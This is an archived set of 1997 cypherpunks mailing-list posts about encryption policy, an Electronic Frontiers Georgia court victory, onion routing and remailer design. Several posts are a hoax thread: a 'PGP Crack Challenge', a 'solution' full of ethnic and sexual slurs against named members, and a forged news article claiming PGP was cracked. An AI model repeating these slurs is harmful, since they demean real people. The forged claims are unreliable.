     Statewatch, PO Box 1516, London N16 0EW
     tel: 00 44 181 802 1882
     fax: 00 44 181 880 1727
     e-mail: statewatch-off@geo2.poptel.org.uk


- --------------773C24486F5992E16EEA4806
Content-Type: text/plain; charset=us-ascii; name="sig.sav"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="sig.sav"

====================================================================

///,        ////             Mark A. Smith
\  /,      /  >.
 \  /,   _/  /.                  * * *
  \_  /_/   /.
   \__/_   <          UNITED STATES THEATRE COMMAND
   /<<< \_\_
  /,)^>>_._ \          email:  msmith01@flash.net
  (/   \\ /\\\       http://www.flash.net/~msmith01           
       // ````      
======((`===========================================================

- --------------773C24486F5992E16EEA4806--

_______________________________________
Charles L Hamilton  (chasm@insync.net)  Houston, TX
X-No-Archive: Yes

- -> Send "subscribe   snetnews " to majordomo@world.std.com
- ->  Posted by: chasm@insync.net (Schuetzen)


------- End of Forwarded Message





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 21 Jun 1997 13:26:50 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Derisive comments
In-Reply-To: <v03102817afd0f24d4292@[207.167.93.63]>
Message-ID: <v03102819afd112a2db34@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




Take a gander at this out-of-the-blue and off-the-wall thing I just got
from Georgia's finest. Proves to me that what they say about Georgia is
right.

(I have no idea why Costner decided I should get this. Insofar as I
remember, the "ye-haww" comments came from Bill Stewart, and I took them to
mean Bill was happy at the result. The "wear masks" comment was presumably
about the anonymity issue, with a touch of McIntyre and 2600 mixed in.
Apparently this was all too subtle for Costner...probably not something
taught in the 8th grade he graduated from in Georgia.)

--Tim May, fed up with getting these bizarre rants from disgruntled and
ill-educated list members, some of whom seem to expect that I can _do_
something about the demons that torment them

Note: the following was sent directly to _me_:

>Date: Fri, 20 Jun 1997 23:36:15 -0400
>To: Tim May <tcmay@got.net>
>From: "Robert A. Costner" <pooh@efga.org>
>Subject: Derisive comments
>Mime-Version: 1.0
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Since I already know that you like to pick at me....
>
>
>What are  "Ye-haaw!" and "Wear masks in Underground Atlanta" supposed to mean
>when someone takes my comments elsewhere, posts them on cyberpunks and adds
>that.
>
>Is there supposed to be something wrong with winning an internet censorship
>case?    I'm beginning to see the property rights thing... Was I not supposed
>to challenge a criminal law I thought was wrong?
>
>
>
>-----BEGIN PGP SIGNATURE-----
>Version: PGP for Personal Privacy 5.0
>Charset: noconv
>
>iQBVAwUBM6tMK0GpGhRXg5NZAQEXOAH/YaQPnqDfwwEqW1LdVv+/PryYE4VAPJjC
>yDerr6E+Pxl7Nw6yBfMeOmz+rFTqVawOyJii+tUUhj615mguSpcRSg==
>=7t6a
>-----END PGP SIGNATURE-----
>
>  -- Robert Costner                  Phone: (770) 512-8746
>     Electronic Frontiers Georgia    mailto:pooh@efga.org
>     http://www.efga.org/            run PGP 5.0 for my public key
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 21 Jun 1997 12:01:07 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill (fwd)
Message-ID: <199706210328.WAA12321@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 20 Jun 1997 16:41:30 -0700 (PDT)
> From: Declan McCullagh <declan@well.com>
> Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill

> The United States is not a pure democracy, it is a constitutional
> republic. I believe I have a constitutional right to privacy. I also
> believe that I probably have a constitutional right to anonymity. It
> doesn't matter what "most senators" think, or indeed what "most Americans"
> think, if their thinking is contradicted by the Constitution. We do not
> have simple majority rule, here. In fact the founders of the country went 
> out of their way to insure that the simple majority could not easily 
> violate the principles upon which the country was founded.

Actualy with the wording of the 9th and 10th you as a citizen are reserved
ANY right you choose and the benefit of the doubt goes to you, the citizen.
For the government to prove their side they MUST demonstrate a
constitutional mandate.

Also notice the heirarchy of prohibition detailed in the 10th. The people
are NOT mentioned at all. In effect it says that the final say in ANY
discusssion of federal powers versus citizen rights falls to the people
since only they are specificaly NOT mentioned as a party the Constitution
even has the power to prohibit.

 
				ARTICLE IX. 
 
	The enumeration of the Constitution, of certain rights, shall 
not be construed to deny or disparage others retained by the people. 
 
 
[ This in effect says that my rights as a citizen are not limited by those
  that may be listed explicity in the Constitution. In effect an admission
  that my rights as a citizen, or even as a human being, are not limited
  by the Constitution by explicit intent of the authors.]
 

				ARTICLE X. 
 
	The powers not delegated to the United States by the Constitution, 
nor prohibited by it to the States, are reserved to the States respectively, 
or to the people. 
 
[ The powers which are not assigned to the federal government by the
  Constitution OR prohibited in respect to the states falls to the
  states (acting per their own individual constitutions as the deciding
  factor within their borders) and if not covered in the state constitution
  then to the poeple to decide (assuming a popular vote). It is critical
  to note that no explicit limit is placed on the issues decidable by the
  people, a difference explicitly pointed out with the federal and state
  governments.] 
 
[The first ten amendments went into effect on 15 December 1791.] 
 
A perfect non-crypto example is the current brew-haha over assisted suicide
and a Constitutional right to die. The question is not whether I have a
right to kill myself (assisted or otherwise). The 9th clearly states that
just because a right I might claim is not listed does not mean I don't have
it. Now the 10th says that if the federal government wants to control it
they must show a delegation of authority in the Constitution. So, despite
what the esteemed Supremes may think the question is not "Does the
Constitution allow a citizen to do this?" which is what they announced as
their 'first' question but rather, " does the Constitution delegate the
authority to decide when or how a citizen may die?" If not then each
individual state should decide the issue until or if an amendment can be
passed. Should individual states not cover such decisions in their own
constitutions then the poeple decide the issue individualy until a vote
can be arranged. The problem with our current operation is that we don't
have enough plebicites.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 21 Jun 1997 13:51:35 +0800
To: "John Smith" <cypherpunks@cyberpass.net
Subject: Re: Getting Back to our Radical Roots
In-Reply-To: <199706202052.NAA05467@f16.hotmail.com>
Message-ID: <3.0.2.32.19970620223401.006ac490@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:52 PM 6/20/97 PDT, John Smith wrote:
>There were messages here some time back about systems like anonymizer
>but chainable and using cryptography.  Did anything come of that?
>Efficient anonymous web browsing could be a killer app for crypto.
>Use anonymous web access to get to hotmail accounts like this one
>and you have anonymous email, easy to use.

See  http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html

The project is moving forward after some Cypherpunks instigated bug fixes.
However, it will probably be a while before the system has been ported from
Solaris/BSAFE to Linux/SSLeay.


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 21 Jun 1997 12:15:13 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: [EFGA] WE won our court case!! (fwd)
Message-ID: <199706210343.WAA12370@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "Robert A. Costner" <pooh@efga.org>
> Subject: Re: [EFGA] WE won our court case!! (fwd)

> Reasonable men adapt to match the world around them.  Unreasonable men try to 
> adapt the world to themselves.  Therefore, only unreasonable men bring about 
> change in the world.  I may be unreasonable, but I'm not pathetic.

This is an interesting insight into the underpinnings of a democracy or
republic. The secret to success and ultimate limitation of government
authority is people standing up and saying "Hell NO!, I won't take it any
more." In short, for democracy (any democracy I suspect) to work it REQUIRES
people being unwilling to compromise. So many people labor under the
impression that compromise is how they get to where they want to be. Very
successful indoctrination I suspect...

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sat, 21 Jun 1997 10:53:31 +0800
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <3.0.2.32.19970620170015.00950c20@mail.io.com>
Message-ID: <Pine.GSO.3.95.970620224155.20941B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 20 Jun 1997, Greg Broiles wrote:

> I suggest adopting two very popular memes to reach this goal - three
> strikes term limits. A legislator who votes for three different laws which
> are eventually struck down as unconstitutional shall be removed from
> office, and unable to serve in the legislature again for at least 25 years.
> 
> Perhaps first offenders can be offered the opportunity to participate in a
> diversion program, whereby they're forced to [re]take classes in
> constitutional law and civics, and if they succesfully complete the program
> and don't reoffend within one year, the first violation will be ignored. 

How do you propose to deal with such things as the Telecommunications Act
of 1996 (which incidently included the CDA)?   I can see a problem where
one sentence or clause gets thrown out of a major bill (say a compromise
budget, that someone screwed up one minor ammendment), and if you have
that happen 3 times in 6 years, you've lost 90% of your senators!  I'm not
saying that your idea isn't without merit, just that it's got a few
problems that strike me as somewhat major..

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sat, 21 Jun 1997 11:42:22 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: [EFGA] WE won our court case!! (fwd)
In-Reply-To: <Pine.LNX.3.94.970620151844.2244J-100000@neptune.chem.uga.e du>
Message-ID: <3.0.2.32.19970620231443.037409d4@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 04:57 PM 6/20/97 -0700, Bill Stewart wrote:
>>From: "Robert A. Costner" <pooh@efga.org>
>>To: action@efga.org
>>Subject: [EFGA] WE won our court case!!
>>
>>EFGA was granted a preliminary injunction in our court case 
>>against the state of Georgia.  Details and press release to follow.
>
>Yee-hah!  If you ignore CONgress, we've had a good week, between
>this court and the New York CDA courts doing the right thing
>and the DES crack finishing.
>
>>Let's meet somewhere tonight to celebrate!
>Obviously y'all should meet in the Atlanta Underground, wearing masks :-)
>(though I won't be there, since it's a bit far from the West Coast...)

I find messages like this to be interesting.  I assume that there is some 
void in the souls of some that cannot be filled and they look elsewhere for 
that spark that will bring them what they are looking for.  I regret that 
when they look to me, they do not find it.  That I am not the answer does not 
surprise me.  That anyone would think I might be the answer is what is 
surprising.

What is EFGA?  It is an unfunded group of Georgia based internet users who 
have an interest in privacy, free speech, and the free use of the internet.  
For about six months or so, we grumbled about how bad things were.  Then, a 
few of us got the idea that if only we tried to change something, we just 
might do it.  Eighteen months later, we won a case in federal court against 
the state of Georgia.

"Yee-ha"?  Is this meant to be a derisive comment?  No money.  No legal 
training.  Not a lawyer to support us.  What were we to do?  We went to the 
ACLU and they told us the case had no standing - they couldn't help us with 
the Georgia law.  We got no better treatment from EFF.

This message was not sent to this list - cyberpunks or remailer operators.  
It was only sent to an internal EFGA list of people who made a claim that 
they wanted to find out more about EFGA.

Me?  I'm a software developer.  I don't work for EFGA.  I just founded the 
group, and participate in it's running and policy.  No one works for EFGA.  
As I said we are unfunded. We have no offices, we have no staff.

Obviously this is a victory for free speech.  This is grassroots activism.  
This email message I see is not unusual.  Why do so many people who would 
presumably be on the same side as EFGA and myself do what is apparently 
trying to pick at us?

What is the difference between someone in EFGA and someone else on this list? 
 If I can read the federal register when I get home from work and call up the 
Social Security Administration and ask to speak on a panel they are having, 
then anyone can.  If a group of people with no financial or legal resources 
can call themselves EFGA and sue the state, then why can't someone else?

Yee-ha?  Meet in Underground Atlanta wearing masks?  What kind of comments 
are these?  I spent gasoline, time, and three dollars for parking today to 
meet with the CIO of Georgia to speak with him about PGP & encryption.  He 
met with me because I called him on the phone and asked.  What are you saying 
here?  Are you suggesting that change is wrong?  Are you, like others on this 
list implying that you can't afford the three dollars or you just don't know 
how to dial the phone?

I didn't post the original message here.  If you would like to trade insults, 
I'll be happy to do so with you.  I'd rather just go up to D.C. on a cheap 
flight and sit in a congressman's office for 45 minutes until a staffer can 
speak with me.

Reasonable men adapt to match the world around them.  Unreasonable men try to 
adapt the world to themselves.  Therefore, only unreasonable men bring about 
change in the world.  I may be unreasonable, but I'm not pathetic.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM6tHFkGpGhRXg5NZAQEyigIAiYVY9kTroAD6Ci4k8plGLBw172HmnzfB
snkzbOpnhThf8FokELwXgxgdM7ixJDweKuAICBITY8iozQfVWKUcOQ==
=pRgU
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Sat, 21 Jun 1997 06:07:03 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Recipient Anonymity
In-Reply-To: <199706200219.EAA06517@basement.replay.com>
Message-ID: <m0wfBa8-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:

>Okay.  Let's suppose that there are 10,000 messages (more realistic for a
>large remailer i think)  And I am going to spread it over five servers,
>And I use a 32-bit hash function (one in four billion chance I get someone
>else's message)

[...]

>Finally, I get back five 20K messages from each of the five servers.

You only need to download the XOR of the five messages. OTOH, you
should not leak the information that there is exactly one message
for you.

>So that's a total of 80K to download the IDs/recipients lists, 6.25K to
>upload the requests, and 100K to download the message pieces, to read my
>20K email.  I guess that could work.

It's way better than 200,000K for the complete pool...





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Pearl Harbor"<ph@dev.null>
Date: Sat, 21 Jun 1997 14:26:20 +0800
To: cypherpunks@toad.com
Subject: PGP Crack Challenge Ciphertext
Message-ID: <199706210559.XAA18550@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

 Below is the encrypted text of the "hidejews.asc" file which
must be decrypted in order to meet the "PGP Crack Challenge"
sponsored by Pearl Harbor Computers.
 In order to meet the terms of the contest, the winner must
post the decrypted text to the cypherpunks list, signed with
their secret key.

  Please note that in order to ensure the fairness and integrity
of the "PGP Crack Challenge" that the secret key used to encrypt
the message will be placed in escrow with a Trusted Third Party.
The person chosen for this honor is a respected member of the
cypherpunk list, Alec McCrackin.

- -----BEGIN PGP MESSAGE-----
Version: PGP for Personal Privacy 5.0
MessageID: qoLXESdTeOgwO9d+ih1SNm28wJzD5AZ0

hQEMAzxR/vV9bQ8hAQf/TAnNvPRMxYwpv6M9H4YF2h01KMjGYx5Fn8pvHtgy1KiN
lvT0GFq7h36g2YncKjRKVkU9RwrOBaGCN9iwslLpuomMgFMBfwhHqyWCchzYUAVg
B0oHnfyKM7EIaOgPRZwhuEwmWpvMOOTqltfKKtMZ08A5swFjcHa1c5+BapoI3nah
cAXeMXYuCWwFQPDPYywpKNtHyp9D4KIjKkoWTUcC3p3u+dOyao2ZSO1CzVO+CuNf
p5SO2eDb9Jqa7/ekIMS3seaH7aYzmZ9QS51YXoLUhfAdtS9tg1Zh7t6qgWd77qgp
7qtW9x3bfhKrL+xp6OhxeI/6I6y6LP/4fsD2ZGFHQaUCov1zaoBOTgvLY0ZypQsk
ElxQFRYVId6rvLTODgi7MfkxXhl6l9hR4zkVAxx5vgjJYd2n14SW31Ex3lnqFxkR
S/IvpxfIUwtbe7wPKd0Xofymn30LDVn7ziUcSlFJQhvOiyNxBBC2irPXGH56Sjfc
vUnz3j8adPfr2Ao+NGH4ignpap2D0KhaVHc0O5Ja/QsOIiuwj1JlEjB9GT8tEiqz
f2oOiatGlEcGD9ncxoVp3L23sOEHs/0iDfTTsnVAni+BtckL9zIXbw+B/uwsthp0
sm2AHgBikLL/UtqSQbD1vtZ1KlTDf0nSl3IsmpfUw06Ve8gyzlgK31YAsjCmwtRw
vULz557cOkwcNocJxSPhskMYRcR7llkl+HT+nysKUMXhibL4FBZFjcgYvDPFbwHl
bpmnoNdcFT+8TxmrfuYYthPxys4YhjQHxjBKL2T7yaHv+IzONAD3lVtxGCptFCKp
I15FuEvPZuwpI2h37FXu2ju3QgaV+jul3MqXiz3Trgm3y6GUg5/U72dVK3ncVbbQ
7pzExgFMYNa5jG9qrlPJIlXzwOsy1bUSi8A1qUxv+R8zp8BPneL8slR64lE5WlLz
LXKPVIczjz2AcNAYAD4cRj1brG3E0a4T14Djm55UUaQLpKnZDcTj91axug7Tl8SV
Gs/bWx/CzoJcvZA+pwHrHvbOtNo2UwlMB8c5bJmKFneIze+cQuw235nR3gLhu1aW
+JzME6I5vbqXNBCsxMCK5mY+LtYscF1egmCndp1QiVDU1OadYvAWFPeuGyEUST8Z
0CeHkqgXMjpAkbVCgLDhHkWbsZYysET4Kk/K8QFaVz3xkFEiiB9pXrOgekoE7ceg
l46cemnO7Fyu1G+shn6bdVtFqkvtreqgoOeZ3DrnkE+spa6X
=WRL+
- -----END PGP MESSAGE-----
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBM6raTjxR/vV9bQ8hAQEBVAf7BWAr9mJb4kY1iVJiGB55muBfWgSkT6cS
oGyNnpWeqIkiOqR29SZYecaz1ve9oEUMXJoP9Si1vvg0qIFS+ZZKFxRQuhk8owxU
UFmRf8gaq+ovvQdGIWgfTAFnzYfTOJSh8LpmgNoAeVL5Q5/KAmG4qqOepJyzenkF
NneOKcozz/eDWtizzur1jOLutTPTUjJX9alyOa3wzh0hahWVZySmYekqFt7H3bwa
KPdX9qj7I7Skm/nw+kKZOMjxbWtXzL5uBfDkboC2QmIZJcFy3Bwlrbn4rJfic+iw
JMy3S8hxvKuQeud+5PCFnyIzIGROaMj4cD/CgZfRDOorD8V1O5iK7g==
=2pkA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 21 Jun 1997 06:17:40 +0800
To: cypherpunks@cyberpass.net
Subject: It's not over
Message-ID: <199706202210.AAA28568@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Let's cut all the doom and gloom here.  The bill isn't passed yet.  It's
got to go through at least one and possibly two more committees before
it reaches the senate floor, where we'll have another chance to defeat it.

Even then the house has to pass similar legislation.  That will be yet another
chance.

When Clipper was proposed, a wave of anger and opposition swept forth.
The same thing needs to happen now.  This fatalism is self defeating.

Either you're part of the solution or you're part of the problem.  People who
say there's no use fighting, who give up, who oppose the efforts of the
crypto lobbying groups in the name of ideological purity, are not part of
the solution.  They have no right to complain if this law passes.  By
sitting aside and carping at the efforts of those who are trying to stop this
kind of legislation, they are only helping to bring it about.

There is no reason this new bill should be any more acceptable or more
successful than Clipper was.  We only have to fight it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: AlecMcCrackin<camcc@abraxis.com>
Date: Sat, 21 Jun 1997 14:43:51 +0800
To: cypherpunks@toad.com
Subject: PGP Crack Solution
Message-ID: <199706210621.AAA20473@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Solution to Pearl Harbor Computer's
-----------------------------------
     "PGP Crack Challenge"
     ---------------------

  "The cypherpunks aren't hiding Jews."
  "They are hiding that murdering Armenian bastard, Ray Arachelian,
and cocksucker John <spit> Gilmore <fart>."

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013,
14.4Kbps

       ~~~~~~~~~~~~       ~~~~~~~~~~~      ~~~~~~~~~~    ~~~~~~~~~

"I think we should all send Pearl Harbor Computers back 10 copies of
this"

---
Graham-John Bullers



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3ia
Charset: cp850

iQCVAgUBM6rHzSKJGkNBIH7lAQGxzgP+MQuVm9DWABUxhp0xVp+5L7qm9JlCZ/GU
e2Yktx4n8ouRfUpf5WK9uxCGnKd5S1sv38yrJy8sMbQkN1uY8nJYevmwb/6oH1+n
cbXJccanXFtAe4Qt6c6bHKJorU+cjk5K2Xl3c/w3PJBgox2r2sAhC98oGE7l4i71
uiRNsXsbbbg=
=OIRG
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sat, 21 Jun 1997 13:12:16 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: [EFGA] WE won our court case!! (fwd)
In-Reply-To: <3.0.2.32.19970620231443.037409d4@mail.atl.bellsouth.net>
Message-ID: <3.0.2.32.19970621004346.0352fafc@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 09:05 PM 6/20/97 -0700, Bill Stewart wrote:
>Well, in some places, it's an expression of excitement, and it was intended
>as such here.  I guess some things don't translate well to ASCII,
>given that you seem to think I was picking on you?
>
>The Georgia law was a bad one, and needed overturning.
>I hadn't realized you were running EFGA on that small a scale, 
>so I'm even more impressed that you succeeded.

OK.  I misread your intentions.  It's just my first couple of postings on 
cyberpunks were not received well.  I finally attributed it to the apparent 
mistaken belief that EFGA was something more than smoke and mirrors.  Of 
course some of it is the fact that I am still learning about this stuff.

Remailers is a very appropriate mail group.  Our press release stated that 
with the law out of the way, we can now set up an anonymous remailer, which 
we have done.  (anon.efga.org)  EFGA has just won a censorship lawsuit, set 
up a PGP keyserver, started a remailer and nym server, and have a lot of 
things on our plate.  I almost long for the days when we sat around 
complaining how powerless we were.  Now that the people in charge are 
listening to us, I'm not sure we know the answers any longer.

The battle against this law was a difficult one.  At first we had the 
standing issue.  Since it was such a ridiculous law, and for various other 
reasons, we were told we would never get into court with it.  Though almost a 
year has passed since we filed the case, I was still wondering if the judge 
would throw this out as of yesterday.

When EFGA was first formed, we had public meetings at the local ACLU offices. 
 We had hoped they would mount a legal challenge to the law for us.  I don't 
have the exact numbers, but the local ACLU gets about 300 requests per month, 
and only is able to work on about three cases each month.  Ours just wasn't 
strong enough according to them.  Mitchell Kaye, one of the co-plaintiffs in 
the suit is an elected Georgia House of Representatives member who had spoken 
out against the law, so we invited him to a meeting at Denny's.

Mitchell did some checking and found an attorney who would talk to us.  We 
had a series of meetings, and became the first group to sign on as a 
plaintiff.  In fact, we incorporated just so we could become a plaintiff.  
Also, after Scott McClain of Bondurant, Mixson, and Elmore had done some pro 
bono work, we were able to take this back to the ACLU and get them involved.  
Later the national ACLU got involved, then the lawsuit finally got real.

We really had some good breaks along the way, but we put a lot of hard work 
into it as well.  If the ACLU hadn't been willing to take it on and 
underwrite the cost, we never would have gotten anything done.

Now we have taken on the task of pushing strong crypto and privacy on the 
State.  I've demo'ed PGP at various places and we have some gov't agencies 
thinking about using PGP as a cost savings business tool.  If we can't win 
the crypto debate in congress, will win by going in through the back door.


-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM6tb/kGpGhRXg5NZAQHGgwIAyWISQmiEgpHcQpDhFKaaXOgLqkHIOAaQ
F+0VirHxCHsffGqroApOS8+xMPedoQUEc9QMAs+A7+WixWOXFjNbVQ==
=mGcE
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DeclanMcCullagh<declan@well.cum>
Date: Sat, 21 Jun 1997 15:18:43 +0800
To: cypherpunks@toad.com
Subject: PGP Crack Successful !!!
Message-ID: <199706210655.AAA22599@wombat.sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



http://pathfinder.cum/netly/forgeries/709PGPCRACK.html

The Netly News
June 22, 1997

2048-bit PGP Cracked!!!
by Declan McCullagh (declan@well.cum)

     In an astounding turn of events, only days after
the DES Challenge lay broken on the floor of crypto
opponents, the crypto community has been rocked by
the breaking of a 2048-bit PGP 5.0 cyphertext that
was posted to the Cypherpunks mailing list by Pearl
Harbor Computers in the "PGP Crack Challenge."

     Alec McCrackin, a Cypherpunk, posted the solution
to the challenge a matter of minutes after the post
containing the cyphertext arrived on the list.
     Although McCrackin was tight-lipped about the means
used to decypher the challenge data, several anonymous
Cypherpunk sources indicated that it has been known for
months that PGP encrypted files could easily be read by
using the backdoor in the Stronghold encryption software
to decipher PGP files.
     "Cypherpunks can't write code." stated a Kook of the
Month winner who prefered to remain anonymous.

     "I posted the solution to the list back in '92." stated
another anonymous Cypherpunk source. "Check the archives."
     The source went on to add that he thought it was very
suspicious that the contest was won by the person acting
as the Trusted Third Party who was holding the secret key
used to encrypt the message in escrow.
     Alec McCrackin, the Trusted Third Party and contest
winner, expressed surprise and dismay that anyone would
raise the question of abuse of authority in the matter.
     "Key escrow was needed in order to meet the legitmate
needs of contest enforcement." McCrackin said. "Without
key escrow, there would be no means to guarantee that
the contest data did not contain child pornography or
drug trafficking information."

     A company spokesman at PGP Inc. stated that the
company did not forsee any major downturn in company 
revenue, since PGP Inc. had recently acquired rights to
a leading source of SpamBot technology.
     Phil Zimmerman, who was forced out of the company
as a condition of the acquisition agreement, said of his
replacement, "Dimitri is a cocksucker."

     A reporter from Markets Magazine claims to have gotten
inside information about the PGP crack, but can't remember
what his source actually said.
     "I do remember his name, though. It was Bob Hettinga."
the reporter stated.

     When asked what import this news had for the Clinton
administration's plans for crypto export policy, a secret
Whithouse source who has had me over for dinner several times
with some of D.C.'s most prominent movers and shakers (and
who lets me drive his Mercedes every time I give him a
favorable mention in an article) said, "To tell the truth,
most of us have been encrypting details of our dirty deals
with PGP, so we may not be around long enough for our views
to matter."

-------------------------
DeclanMcCullagh
Time Ink.
The Nutly News Network
Washington Correspondent
http://netlynews.com/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 21 Jun 1997 16:40:11 +0800
To: Charles Platt <cp@panix.com>
Subject: Re: Extremely Disappointing: Political Cryptography
In-Reply-To: <33A9D7F3.BACEB3DA@healey.com.au>
Message-ID: <3.0.2.32.19970621012312.00767210@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:14 AM 6/20/97 -0400, Charles Platt wrote:
>I'm not saying I _want_ an agency making decisions for us; only that it 
>would be slightly less hideously exasperating than our present situation, 
>where technoliterates are being ruled by technoilliterates.

We're far better off without one, for a bunch of reasons.
1) Congress does stupid knee-jerk things without understanding them,
but it only does them when there's a lot of public pressure,
or focused insider pressure, or when its legs itch,
but after it's done it goes off and does stupid knee-jerk things
about some other "problem" that it wants to "help".
Attention Deficit Disorder is your friend, at least when Congress has it.
The only time it does things on a long-term basis are when it really cares;
things like funding the military-industrial-welfare complex
and local pork.  The Internet probably isn't there yet,
even though it's almost as much fun as Dope or Commies to rant about.

2) Bureaucracies, on the other hand, have self-perpetuation as Job 1.
Sure, they may understand their subject matter a bit better, but
Job 1 means continuing to do "useful" things to "help" the country,
most of which are almost by definition bad, and finding ways to
increase their scope of control.  Unlike Congress, whose agenda
depends on which way the wind is blowing, their agenda is fixed.
What they do will not only be bad, but it will be done competently,
which is harder to throw out in court than knee-jerk stupid things.
Furthermore, it will be done quietly, broadly, and not distracted
by the crisis of the week.

>The FCC actually made some halfway decent decisions determining 
>standards in broadcasting, before the agency became terminally 
>incestuous and corrupt.

The FCC was terminally incestuous and corrupt from the beginning.
Its job, done quite well, was to restrict access to the airwaves,
just as the job of the other Roosevelt-era agricultural and
industrial programs was to create and preserve oligarchies in the 
names of "anti-trust" and "consumer protection".
FCC spectrum allocation policies, granting monopoly control of the
"commercial" parts of the spectrum and banning "commercial" speech 
on the "amateur" bands, have not only prevented a free market in
broadcasting, they've severely limited the span of opinions that
they consider to be "in the public interest" and therefore permitted
on the airwaves.

> We might get two or three good years out of a Federal Internet
>Agency, depending who was appointed to run it. 

We did actually get a few good years out of them - the DoD was
running it, and since their objective was to get _their_ job done,
they built a lot of good technology that was different than what the
